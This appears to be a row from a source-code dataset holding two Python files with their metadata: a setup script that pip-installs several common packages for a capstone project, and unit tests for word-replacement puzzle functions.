| 0
| 0
|
0
| 10
|
6a0caae0dc5e71b6d2b6ccb52a59476f49846f93
| 688
|
py
|
Python
|
scripts/installations.py
|
penelopeom/capstone_prototype
|
b871343133e9d3f7dc77c98a437d4b4fa6da320d
|
[
"MIT"
] | null | null | null |
scripts/installations.py
|
penelopeom/capstone_prototype
|
b871343133e9d3f7dc77c98a437d4b4fa6da320d
|
[
"MIT"
] | null | null | null |
scripts/installations.py
|
penelopeom/capstone_prototype
|
b871343133e9d3f7dc77c98a437d4b4fa6da320d
|
[
"MIT"
] | null | null | null |
import sys
import subprocess
subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'mysql-connector-python'])
subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'ipwhois'])
subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'python-dotenv'])
subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'bs4'])
subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'requests'])
subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'googlesearch-python'])
subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'lxml'])
subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'geopy'])
print("Installations Complete!")
| 52.923077
| 89
| 0.697674
| 83
| 688
| 5.686747
| 0.26506
| 0.254237
| 0.322034
| 0.372881
| 0.754237
| 0.754237
| 0.754237
| 0.754237
| 0.207627
| 0
| 0
| 0.00156
| 0.068314
| 688
| 13
| 90
| 52.923077
| 0.734789
| 0
| 0
| 0
| 0
| 0
| 0.290276
| 0.03193
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.181818
| 0
| 0.181818
| 0.090909
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
6a0eca58b2c5c2e13a2b06f0c66d3eb159c3ba49
| 3,240
|
py
|
Python
|
tests/puzzles/test_replace_words.py
|
BrianLusina/PyCharm
|
144dd4f6b2d254507237f46c8ee175c407fe053d
|
[
"Apache-2.0",
"MIT"
] | null | null | null |
tests/puzzles/test_replace_words.py
|
BrianLusina/PyCharm
|
144dd4f6b2d254507237f46c8ee175c407fe053d
|
[
"Apache-2.0",
"MIT"
] | null | null | null |
tests/puzzles/test_replace_words.py
|
BrianLusina/PyCharm
|
144dd4f6b2d254507237f46c8ee175c407fe053d
|
[
"Apache-2.0",
"MIT"
] | null | null | null |
import unittest
from puzzles.replace_words import (
replace_words_with_prefix_hash,
replace_words_with_trie,
)
class ReplaceWordsHashTestCases(unittest.TestCase):
def test_with_cat_bat_rat(self):
dictionary = ["cat", "bat", "rat"]
sentence = "the cattle was rattled by the battery"
expected = "the cat was rat by the bat"
actual = replace_words_with_prefix_hash(dictionary, sentence)
self.assertEqual(expected, actual)
def test_with_a_aa_aaa_aaaa(self):
dictionary = ["a", "aa", "aaa", "aaaa"]
sentence = "a aa a aaaa aaa aaa aaa aaaaaa bbb baba ababa"
expected = "a a a a a a a a bbb baba a"
actual = replace_words_with_prefix_hash(dictionary, sentence)
self.assertEqual(expected, actual)
def test_with_a_b_c(self):
dictionary = ["a", "b", "c"]
sentence = "aadsfasf absbs bbab cadsfafs"
expected = "a a b c"
actual = replace_words_with_prefix_hash(dictionary, sentence)
self.assertEqual(expected, actual)
def test_with_catt_cat_bat_rat(self):
dictionary = ["catt", "cat", "bat", "rat"]
sentence = "the cattle was rattled by the battery"
expected = "the cat was rat by the bat"
actual = replace_words_with_prefix_hash(dictionary, sentence)
self.assertEqual(expected, actual)
def test_with_ac_ab(self):
dictionary = ["ac", "ab"]
sentence = "it is abnormal that this solution is accepted"
expected = "it is ab that this solution is ac"
actual = replace_words_with_prefix_hash(dictionary, sentence)
self.assertEqual(expected, actual)
class ReplaceWordsHashTrieTestCases(unittest.TestCase):
def test_with_cat_bat_rat(self):
dictionary = ["cat", "bat", "rat"]
sentence = "the cattle was rattled by the battery"
expected = "the cat was rat by the bat"
actual = replace_words_with_trie(dictionary, sentence)
self.assertEqual(expected, actual)
def test_with_a_aa_aaa_aaaa(self):
dictionary = ["a", "aa", "aaa", "aaaa"]
sentence = "a aa a aaaa aaa aaa aaa aaaaaa bbb baba ababa"
expected = "a a a a a a a a bbb baba a"
actual = replace_words_with_trie(dictionary, sentence)
self.assertEqual(expected, actual)
def test_with_a_b_c(self):
dictionary = ["a", "b", "c"]
sentence = "aadsfasf absbs bbab cadsfafs"
expected = "a a b c"
actual = replace_words_with_trie(dictionary, sentence)
self.assertEqual(expected, actual)
def test_with_catt_cat_bat_rat(self):
dictionary = ["catt", "cat", "bat", "rat"]
sentence = "the cattle was rattled by the battery"
expected = "the cat was rat by the bat"
actual = replace_words_with_trie(dictionary, sentence)
self.assertEqual(expected, actual)
def test_with_ac_ab(self):
dictionary = ["ac", "ab"]
sentence = "it is abnormal that this solution is accepted"
expected = "it is ab that this solution is ac"
actual = replace_words_with_trie(dictionary, sentence)
self.assertEqual(expected, actual)
if __name__ == "__main__":
unittest.main()
| 34.105263
| 69
| 0.653704
| 426
| 3,240
| 4.753521
| 0.13615
| 0.015802
| 0.094815
| 0.108642
| 0.92642
| 0.91358
| 0.91358
| 0.91358
| 0.91358
| 0.91358
| 0
| 0
| 0.251543
| 3,240
| 94
| 70
| 34.468085
| 0.835052
| 0
| 0
| 0.869565
| 0
| 0
| 0.217901
| 0
| 0
| 0
| 0
| 0
| 0.144928
| 1
| 0.144928
| false
| 0
| 0.028986
| 0
| 0.202899
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.